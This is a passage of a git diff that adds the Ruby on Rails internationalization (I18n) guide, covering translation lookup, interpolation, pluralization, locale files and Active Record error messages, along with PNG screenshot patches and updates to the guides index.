"Hello flash!" + end +end + +# app/views/home/index.html.erb +

Hello world!

+

<%= flash[:notice] %>

+------------------------------------------------------- + +image:images/i18n/demo_untranslated.png[rails i18n demo untranslated] + +=== Adding Translations + +Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation: + +[source, ruby] +------------------------------------------------------- +# app/controllers/home_controller.rb +class HomeController < ApplicationController + def index + flash[:notice] = t(:hello_flash) + end +end + +# app/views/home/index.html.erb +

<%=t :hello_world %>

+

<%= flash[:notice] %>

+------------------------------------------------------- + +When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing. + +image:images/i18n/demo_translation_missing.png[rails i18n demo translation missing] + +NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a ++. + +So let's add the missing translations into the dictionary files (i.e. do the "localization" part): + +[source, ruby] +------------------------------------------------------- +# config/locale/en.yml +en: + hello_world: Hello World + hello_flash: Hello Flash + +# config/locale/pirate.yml +pirate: + hello_world: Ahoy World + hello_flash: Ahoy Flash +------------------------------------------------------- + +There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows: + +image:images/i18n/demo_translated_en.png[rails i18n demo translated to english] + +And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get: + +image:images/i18n/demo_translated_pirate.png[rails i18n demo translated to pirate] + +NOTE: You need to restart the server when you add new locale files. + +=== Adding Date/Time formats + +OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. + +[source, ruby] +------------------------------------------------------- +# app/views/home/index.html.erb +

<%=t :hello_world %>

+

<%= flash[:notice] %>

<%= l Time.now, :format => :short %>

+------------------------------------------------------- + +And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English): + +[source, ruby] +------------------------------------------------------- +# config/locale/pirate.yml +pirate: + time: + formats: + short: "arrrround %H'ish" +------------------------------------------------------- + +So that would give you: + +image:images/i18n/demo_localized_pirate.png[rails i18n demo localized time to pirate] + +TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale[rails-i18n repository at Github] for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically ready for use. + +=== Organization of locale files + +When you are using the default SimpleStore, shipped with the i18n library, you store dictionaries in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you. + +For example, your +config/locale+ directory could look like this: + +------------------------------------------------------- +|-defaults +|---es.rb +|---en.rb +|-models +|---book +|-----es.rb +|-----en.rb +|-views +|---defaults +|-----es.rb +|-----en.rb +|---books +|-----es.rb +|-----en.rb +|---users +|-----es.rb +|-----en.rb +|---navigation +|-----es.rb +|-----en.rb +------------------------------------------------------- + +This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (eg. date and time formats). + +Other stores for the i18n library could provide different means of such separation. + +Do check the http://rails-i18n.org/wiki[Rails i18n Wiki] for list of tools available for managing translations. + +== Overview of the I18n API features + +You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. + +Covered are features like these: + +* looking up translations +* interpolating data into translations +* pluralizing translations +* localizing dates, numbers, currency etc. + +=== Looking up translations + +==== Basic lookup, scopes and nested keys + +Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent: + +[source, ruby] +------------------------------------------------------- +I18n.t :message +I18n.t 'message' +------------------------------------------------------- + ++translate+ also takes a +:scope+ option which can contain one or many additional keys that will be used to specify a “namespace†or scope for a translation key: + +[source, ruby] +------------------------------------------------------- +I18n.t :invalid, :scope => [:active_record, :error_messages] +------------------------------------------------------- + +This looks up the +:invalid+ message in the Active Record error messages. + +Additionally, both the key and scopes can be specified as dot separated keys as in: + +[source, ruby] +------------------------------------------------------- +I18n.translate :"active_record.error_messages.invalid" +------------------------------------------------------- + +Thus the following calls are equivalent: + +[source, ruby] +------------------------------------------------------- +I18n.t 'active_record.error_messages.invalid' +I18n.t 'error_messages.invalid', :scope => :active_record +I18n.t :invalid, :scope => 'active_record.error_messages' +I18n.t :invalid, :scope => [:active_record, :error_messages] +------------------------------------------------------- + +==== Defaults + +When a default option is given its value will be returned if the translation is missing: + +[source, ruby] +------------------------------------------------------- +I18n.t :missing, :default => 'Not here' +# => 'Not here' +------------------------------------------------------- + +If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. + +E.g. the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result the string "Not here" will be returned: + +[source, ruby] +------------------------------------------------------- +I18n.t :missing, :default => [:also_missing, 'Not here'] +# => 'Not here' +------------------------------------------------------- + +==== Bulk and namespace lookup + +To lookup multiple translations at once an array of keys can be passed: + +[source, ruby] +------------------------------------------------------- +I18n.t [:odd, :even], :scope => 'active_record.error_messages' +# => ["must be odd", "must be even"] +------------------------------------------------------- + +Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all Active Record error messages as a Hash with: + +[source, ruby] +------------------------------------------------------- +I18n.t 'active_record.error_messages' +# => { :inclusion => "is not included in the list", :exclusion => ... } +------------------------------------------------------- + +=== Interpolation + +In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature. + +All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation: + +[source, ruby] +------------------------------------------------------- +I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!' +I18n.translate :thanks, :name => 'Jeremy' +# => 'Thanks Jeremy!' +------------------------------------------------------- + +If a translation uses +:default+ or +:scope+ as a interpolation variable an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable but it has not been passed to +#translate+ an +I18n::MissingInterpolationArgument+ exception is raised. + + +=== Pluralization + +In English there's only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages (http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar[Arabic], http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja[Japanese], http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru[Russian] and many more) have different grammars that have additional or less http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html[plural forms]. Thus, the I18n API provides a flexible pluralization feature. + +The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR: + +[source, ruby] +------------------------------------------------------- +I18n.backend.store_translations :en, :inbox => { + :one => '1 message', + :other => '{{count}} messages' +} +I18n.translate :inbox, :count => 2 +# => '2 messages' +------------------------------------------------------- + +The algorithm for pluralizations in +:en+ is as simple as: + +[source, ruby] +------------------------------------------------------- +entry[count == 1 ? 0 : 1] +------------------------------------------------------- + +I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero). + +If the lookup for the key does not return an Hash suitable for pluralization an +18n::InvalidPluralizationData+ exception is raised. + +=== Setting and passing a locale + +The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+. + +If no locale is passed +I18n.locale+ is used: + +[source, ruby] +------------------------------------------------------- +I18n.locale = :de +I18n.t :foo +I18n.l Time.now +------------------------------------------------------- + +Explicitely passing a locale: + +[source, ruby] +------------------------------------------------------- +I18n.t :foo, :locale => :de +I18n.l Time.now, :locale => :de +------------------------------------------------------- + ++I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this: + +[source, ruby] +------------------------------------------------------- +I18n.default_locale = :de +------------------------------------------------------- + +== How to store your custom translations + +The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. <<2>> + +For example a Ruby Hash providing translations can look like this: + +[source, ruby] +------------------------------------------------------- +{ + :pt => { + :foo => { + :bar => "baz" + } + } +} +------------------------------------------------------- + +The equivalent YAML file would look like this: + +[source, ruby] +------------------------------------------------------- +pt: + foo: + bar: baz +------------------------------------------------------- + +As you see in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz". + +Here is a "real" example from the ActiveSupport +en.yml+ translations YAML file: + +[source, ruby] +------------------------------------------------------- +en: + date: + formats: + default: "%Y-%m-%d" + short: "%b %d" + long: "%B %d, %Y" +------------------------------------------------------- + +So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+: + +[source, ruby] +------------------------------------------------------- +I18n.t 'date.formats.short' +I18n.t 'formats.short', :scope => :date +I18n.t :short, :scope => 'date.formats' +I18n.t :short, :scope => [:date, :formats] +------------------------------------------------------- + +Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date. + +=== Translations for Active Record models + +You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently lookup translations for your model and attribute names. + +For example when you add the following translations: + +[source, ruby] +------------------------------------------------------- +en: + activerecord: + models: + user: Dude + attributes: + user: + login: "Handle" + # will translate User attribute "login" as "Handle" +------------------------------------------------------- + +Then +User.human_name+ will return "Dude" and +User.human_attribute_name(:login)+ will return "Handle". + +==== Error message scopes + +Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account. + +This gives you quite powerful means to flexibly adjust your messages to your application's needs. + +Consider a User model with a +validates_presence_of+ validation for the name attribute like this: + +[source, ruby] +------------------------------------------------------- +class User < ActiveRecord::Base + validates_presence_of :name +end +------------------------------------------------------- + +The key for the error message in this case is +:blank+. Active Record will lookup this key in the namespaces: + +[source, ruby] +------------------------------------------------------- +activerecord.errors.messages.models.[model_name].attributes.[attribute_name] +activerecord.errors.messages.models.[model_name] +activerecord.errors.messages +------------------------------------------------------- + +Thus, in our example it will try the following keys in this order and return the first result: + +[source, ruby] +------------------------------------------------------- +activerecord.errors.messages.models.user.attributes.name.blank +activerecord.errors.messages.models.user.blank +activerecord.errors.messages.blank +------------------------------------------------------- + +When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up. + +For example, you might have an Admin model inheriting from User: + +[source, ruby] +------------------------------------------------------- +class Admin < User + validates_presence_of :name +end +------------------------------------------------------- + +Then Active Record will look for messages in this order: + +[source, ruby] +------------------------------------------------------- +activerecord.errors.models.admin.attributes.title.blank +activerecord.errors.models.admin.blank +activerecord.errors.models.user.attributes.title.blank +activerecord.errors.models.user.blank +activerecord.errors.messages.blank +------------------------------------------------------- + +This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes. + +==== Error message interpolation + +The translated model name, translated attribute name, and value are always available for interpolation. + +So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this:+ "Please fill in your {{attribute}}"+. + ++count+, where available, can be used for pluralization if present: + +|===================================================================================================== +| validation | with option | message | interpolation +| validates_confirmation_of | - | :confirmation | - +| validates_acceptance_of | - | :accepted | - +| validates_presence_of | - | :blank | - +| validates_length_of | :within, :in | :too_short | count +| validates_length_of | :within, :in | :too_long | count +| validates_length_of | :is | :wrong_length | count +| validates_length_of | :minimum | :too_short | count +| validates_length_of | :maximum | :too_long | count +| validates_uniqueness_of | - | :taken | - +| validates_format_of | - | :invalid | - +| validates_inclusion_of | - | :inclusion | - +| validates_exclusion_of | - | :exclusion | - +| validates_associated | - | :invalid | - +| validates_numericality_of | - | :not_a_number | - +| validates_numericality_of | :greater_than | :greater_than | count +| validates_numericality_of | :greater_than_or_equal_to | :greater_than_or_equal_to | count +| validates_numericality_of | :equal_to | :equal_to | count +| validates_numericality_of | :less_than | :less_than | count +| validates_numericality_of | :less_than_or_equal_to | :less_than_or_equal_to | count +| validates_numericality_of | :odd | :odd | - +| validates_numericality_of | :even | :even | - +|===================================================================================================== + + +==== Translations for the Active Record error_messages_for helper + +If you are using the Active Record +error_messages_for+ helper you will want to add translations for it. + +Rails ships with the following translations: + +[source, ruby] +------------------------------------------------------- +en: + activerecord: + errors: + template: + header: + one: "1 error prohibited this {{model}} from being saved" + other: "{{count}} errors prohibited this {{model}} from being saved" + body: "There were problems with the following fields:" +------------------------------------------------------- + + +=== Overview of other built-in methods that provide I18n support + +Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. + +==== ActionView helper methods + +* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours and so on. See http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51[datetime.distance_in_words] translations. + +* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15[date.month_names] for translations. +datetime_select+ also looks up the order option from http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18[date.order] (unless you pass the option explicitely). All date select helpers translate the prompt using the translations in the http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83[datetime.prompts] scope if applicable. + +* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+ and +humber_to_human_size+ helpers use the number format settings located in the http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2[number] scope. + +==== Active Record methods + +* +human_name+ and +human_attribute_name+ use translations for model names and attribute names if available in the http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43[activerecord.models] scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". + +* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +human_name+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". + +*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91[activerecord.errors.format.separator] (and defaults to +' '+). + +==== ActiveSupport methods + +* +Array#to_sentence+ uses format settings as given in the http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30[support.array] scope. + + +== Customize your I18n setup + +=== Using different backends + +For several reasons the shipped Simple backend only does the "simplest thing that ever could work" _for Ruby on Rails_ <<3>> ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. + +That does not mean you're stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: + +[source, ruby] +------------------------------------------------------- +I18n.backend = Globalize::Backend::Static.new +------------------------------------------------------- + +=== Using different exception handlers + +The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur: + +[source, ruby] +------------------------------------------------------- +MissingTranslationData # no translation was found for the requested key +InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil) +InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization +MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed +ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default) +UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path +------------------------------------------------------- + +The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught it will return the exception’s error message string containing the missing key/scope. + +The reason for this is that during development you'd usually want your views to still render even though a translation is missing. + +In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module: + +[source, ruby] +------------------------------------------------------- +module I18n + def just_raise_that_exception(*args) + raise args.first + end +end + +I18n.exception_handler = :just_raise_that_exception +------------------------------------------------------- + +This would re-raise all caught exceptions including +MissingTranslationData+. + +Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context the helper wraps the message into a span with the CSS class +translation_missing+. + +To do so the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option: + +[source, ruby] +------------------------------------------------------- +I18n.t :foo, :raise => true # always re-raises exceptions from the backend +------------------------------------------------------- + + +== Conclusion + +At this point you hopefully have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. + +If you find anything missing or wrong in this guide please file a ticket on http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview[our issue tracker]. If you want to discuss certain portions or have questions please sign up to our http://groups.google.com/group/rails-i18n[mailinglist]. + + +== Contributing to Rails I18n + +I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first and then cherry-picking the best bread of most widely useful features second for inclusion to the core. + +Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our http://groups.google.com/group/rails-i18n[mailinglist]!) + +If you find your own locale (language) missing from our http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale[example translations data] repository for Ruby on Rails, please http://github.com/guides/fork-a-project-and-submit-your-modifications[_fork_] the repository, add your data and send a http://github.com/guides/pull-requests[pull request]. + + +== Resources + +* http://rails-i18n.org[rails-i18n.org] - Homepage of the rails-i18n project. You can find lots of useful resources on the http://rails-i18n.org/wiki[wiki]. +* http://groups.google.com/group/rails-i18n[rails-i18n Google group] - The project's mailing list. +* http://github.com/svenfuchs/rails-i18n/tree/master[Github: rails-i18n] - Code repository for the rails-i18n project. Most importantly you can find lots of http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale[example translations] for Rails that should work for your application in most cases. +* http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview[Lighthouse: rails-i18n] - Issue tracker for the rails-i18n project. +* http://github.com/svenfuchs/i18n/tree/master[Github: i18n] - Code repository for the i18n gem. +* http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview[Lighthouse: i18n] - Issue tracker for the i18n gem. + + +== Authors + +* http://www.workingwithrails.com/person/9963-sven-fuchs[Sven Fuchs] (initial author) +* http://www.workingwithrails.com/person/7476-karel-mina-k[Karel Minařík] + +If you found this guide useful please consider recommending its authors on http://www.workingwithrails.com[workingwithrails]. + + +== Footnotes + +[[[1]]] Or, to quote http://en.wikipedia.org/wiki/Internationalization_and_localization[Wikipedia]: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ + +[[[2]]] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. + +[[[3]]] One of these reasons is that we don't want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. + + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket] diff --git a/vendor/rails/railties/doc/guides/source/images/customized_error_messages.png b/vendor/rails/railties/doc/guides/source/images/customized_error_messages.png new file mode 100644 index 0000000000000000000000000000000000000000..fa676991e31172b4a8cf6731f415d040da741fbb GIT binary patch literal 5055 zcmb7I2{@GR+JEs6DeY1uDy>2?2w93q)~wma7RJ5~W3rW^Ls2PfmP`nPYAi99O66}K zCNqsOBl|K28AFUX&z$e;|DEgmuJc{z%v|?8@4W9b@BKXY@4kP(`<=g;ndl1(i3vdv zBy4b1*BpX)D#0;HkRN<{C!nYdlca^8?_dK&XN76@hQt4~eSo`~HTu3_*Lf40JD9q6V0>TV^8Tqpd%7o_h6& z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pirate.png b/vendor/rails/railties/doc/guides/source/images/i18n/demo_localized_pirate.png new file mode 100644 index 0000000000000000000000000000000000000000..22b93416a0f8a615a1abe1b68751816568f6c7a4 GIT binary patch literal 36500 zcmb@tRa9JC)36Ik2o~J6gS)$RC%9X1PjGi@Xd3rGaCevB?oNQ^7ydRRr1yU%Pq5tvI5-S- zOEEEJ88NYs%1-uXmNuqva31hKwLJOb4c9@nM3JWDi{EMDd93qlPQ7kIkK_jkjZuT> zwTBZ?VnmRGutiJM=yQ}s7l(CJMEitql{;bJwOeq-ZPu;cJS1!UKK;~b>^}1`{m|=e z7wv{3EzTyKFPth;|B^By%%cxE#0Qbx7vbm)ga@7ze?=0jf(n_zJZJLLsDEPE0^dc7g|UR?iKq*@gov|=Jn9* z_4$rE(3HMmt_8CL{ww}E*^2bvK1~6^y}}U7mQ%QFV>(YPX}D~HkL8=YWJk!Z(@$Ve z1h4m>_{rd!BtL!nXaZP9Jy*>%LCKFO82y~yz^aUvV2lM~$2O1JiCkD~J31EIPJkAh!o&5BvI|m^dtvCQ_0s$xZzBjXrW^)nAP8?y1usPVO zP)_u5YMDKmed(LD{QmE2W-%@5G|pBwDJ&R$;~6WZ5)L4ET|ZkvTABa-t+twBxhbDP zuA;1uQZu(AtsFWFppd=9qCzdNCs$V4%hz1%q-_43U55IIdjh}BCQQD3Tv>a(Kbm}Znl6L+&4xz{1@?n|%nNW@xN zFCwgUUMV5lQE%Na=9kP97W=0bfR?l(66F`Y02VQBF}z;t-XKK>i7IhUaf-YKMb<3h z=#!{sfUcV$3#;(japb;s!MhjdQ0L3AXBn0uQ-%^)FDt2By&S4s)-Uc(EoWq}6psP{ zFD}hzt4{`QKF{@I{_a6}62|>hH1@Ks!bG`$GrSr+>Z@$lik9d0JYFAfe_U@SH6%sbfyO+rS5EHKE>m`#Z_p>I7X;RL z&T=nJ_1!O+8p(GJTGrelrj&NplfpmB_3SbLO|)$AP;{*@Uh{l86ultWXM1Zn z-66nQ$~**ZyoO*_C+V8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AQEkNboU)Cc;Kl1+ML~DpxSA^<;Ey>X`@V*HD})6Ul!3% z(FoN<&KfTjw;MQjJ%{bTPVw*cI_#!`O?;F6QBfBTqvrBhUWvL#T;JhrS$pzNdWSXY zQbmUL9)r(BTg~w>hl7&zgp%#Z%#vE$xTA1=wF$fGp-N-;<38;F*qMjbSF1iw^nJI} z?yp{CY<*|d_IQowW!ZnvhrXF{|Cj9R!n`j5Umn}JhyUZ0cst4X(xz9YtG2HzdYfM- zGQT->{>t|YW(k?8q}jSv9L;)DCc55mkKnep+q zjXeIjhnGHx`ImG57<5?mT=0WC2TS?tkH{v@sc4&jYHsOv`C}VyUMlV_zJ4dt{N5Aj z?3Di!rgGW7>{70ct;*k*#7d{Bcbf}r`?6o(PcGft|0hQk-+ilG;6T~mKR>c8?tgm? z98K6)cTP4h`p5U9mj6%2Y3URRcoAe1v-#DQM=%!!=5ew{FrKF+OHh{=u0x|&J;q{7_0 z4<{R(nb%T1<8Pf5c+C2NqV|W4QZx8}ieLPG4>l18on0hA9dKWJ;6MAG7kfj)yiRg6 O0D-5gpUXO@geCyLT4MJA literal 0 HcmV?d00001 diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_en.png b/vendor/rails/railties/doc/guides/source/images/i18n/demo_translated_en.png new file mode 100644 index 0000000000000000000000000000000000000000..7ea0c437a565f779adab08d522a53fb7530dfc8e GIT binary patch literal 32877 zcmb69WmFtN*RTtdga8S_Ex1Dn0YY#c+#M1UYzXcI_klogcL*}LYw!VPAV6?;9efzv zVbH_>`R{7OSFbN0;)R9M-SIkEbPyvv+-6>FWmM~7Rfa%^^@v3TH;SEH8^#JY!{8lTuMln zbRT_O6fKU=O^c7@HPbKica1X;eCV_9q;Tpbg(sQjppY(6KWoSlT8=5J7l8s=4jEm= z+7|WxE4RrzZ?Bg=7!rciXw7mG5_D#?i`XYx*=DZ`A`6ElGaETIaFR_4&`NeC_$?lX zUqaA+V7@@}?}iDnDWtSg2K;7y+y;GhtR{(SWu22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$cpK8=g-e;6;EJn63(n3xYP zUWkuA{v_t+8U|yESvmti&;T&wL6am&WLajkfQjjJI*}xafv7^z)avzUHkV?j)iPSZ z#N4`hGnz}wKIB#*XyzO9@%q`baq0W-;`+6#HX;H_uVk)YyBc48`9*A=KOgOO+n`Lj z!n@8M+`kv?f7;P%-HBhewqp11U10;1CP|WLo@mA!=g!3|uf7(K9zKl4qsI))tOrf4 zR*U(C`DireZRre@F3Yk=(=^imsu@8u<3R%e2cbLxK+pgnXaGRa03c`p5HtWFXaG1Q Z{sr&8{J<;}PcZ-h002ovPDHLkV1gDD1t0(b literal 0 HcmV?d00001 diff --git a/vendor/rails/railties/doc/guides/source/index.txt b/vendor/rails/railties/doc/guides/source/index.txt index 8828e1d3..bb43b017 100644 --- a/vendor/rails/railties/doc/guides/source/index.txt +++ b/vendor/rails/railties/doc/guides/source/index.txt @@ -1,6 +1,11 @@ -Ruby on Rails guides +Ruby on Rails Guides ==================== +These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation: + +* http://guides.rubyonrails.org/[Current Release version] - based on Rails 2.2 +* http://guides.rails.info/[Edge Rails version] - based on the Rails 2.3 branch + WARNING: This page is the result of ongoing http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] and a work in progress. CAUTION: Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket. @@ -23,16 +28,23 @@ Everything you need to know to install Rails and create your first application. This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. *********************************************************** +.link:activerecord_validations_callbacks.html[Active Record Validations and Callbacks] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/26[Lighthouse Ticket] + +This guide covers how you can use Active Record validations and callbacks. +*********************************************************** + .link:association_basics.html[Active Record Associations] *********************************************************** This guide covers all the associations provided by Active Record. *********************************************************** -.link:finders.html[Active Record Finders] +.link:active_record_querying.html[Active Record Query Interface] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket] -This guide covers the find method defined in ActiveRecord::Base, as well as named scopes. +This guide covers the database query interface provided by Active Record. *********************************************************** ++++++++++++++++++++++++++++++++++++++ @@ -68,17 +80,17 @@ understand how to use routing in your own Rails applications, start here. This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. *********************************************************** -.link:caching_with_rails.html[Rails Caching] -*********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/10[Lighthouse Ticket] - -This guide covers the three types of caching that Rails provides by default. -*********************************************************** - ++++++++++++++++++++++++++++++++++++++

Digging Deeper

++++++++++++++++++++++++++++++++++++++ +.link:action_mailer_basics.html[Action Mailer Basics] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/25[Lighthouse ticket] + +This guide describes how to use Action Mailer to send and receive emails. +*********************************************************** + .link:testing_rails_applications.html[Testing Rails Applications] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/8[Lighthouse Ticket] @@ -101,11 +113,9 @@ ways of achieving this and how to understand what is happening "behind the scene of your code. *********************************************************** -.link:benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications] +.link:performance_testing.html[Performance Testing Rails Applications] *********************************************************** -CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/4[Lighthouse Ticket] - -This guide covers ways to analyze and optimize your running Rails code. +This guide covers ways to benchmark and profile your Rails application. *********************************************************** .link:creating_plugins.html[The Basics of Creating Rails Plugins] @@ -113,6 +123,23 @@ This guide covers ways to analyze and optimize your running Rails code. This guide covers how to build a plugin to extend the functionality of Rails. *********************************************************** +.link:i18n.html[The Rails Internationalization API] +*********************************************************** +CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket] + +This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application. +*********************************************************** + +.link:configuring.html[Configuring Rails Applications] +*********************************************************** +This guide covers the basic configuration settings for a Rails application. +*********************************************************** + +.link:command_line.html[Rails Command Line Tools and Rake tasks] +*********************************************************** +This guide covers the command line tools and rake tasks provided by Rails. +*********************************************************** + Authors who have contributed to complete guides are listed link:authors.html[here]. -This work is licensed under a link:http://creativecommons.org/licenses/by-nc-sa/3.0/[Creative Commons Attribution-Noncommercial-Share Alike 3.0 License] +This work is licensed under a link:http://creativecommons.org/licenses/by-sa/3.0[Creative Commons Attribution-Share Alike 3.0 License] diff --git a/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt b/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt index 2cba53b9..23cb83c5 100644 --- a/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt +++ b/vendor/rails/railties/doc/guides/source/layouts_and_rendering.txt @@ -6,6 +6,7 @@ This guide covers the basic layout features of Action Controller and Action View * Use the various rendering methods built in to Rails * Create layouts with multiple content sections * Use partials to DRY up your views +* Use nested layouts (sub-templates) == Overview: How the Pieces Fit Together @@ -34,9 +35,9 @@ def show end ------------------------------------------------------- -Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response. +Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect \':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response. -NOTE: The actual rendering is done by subclasses of 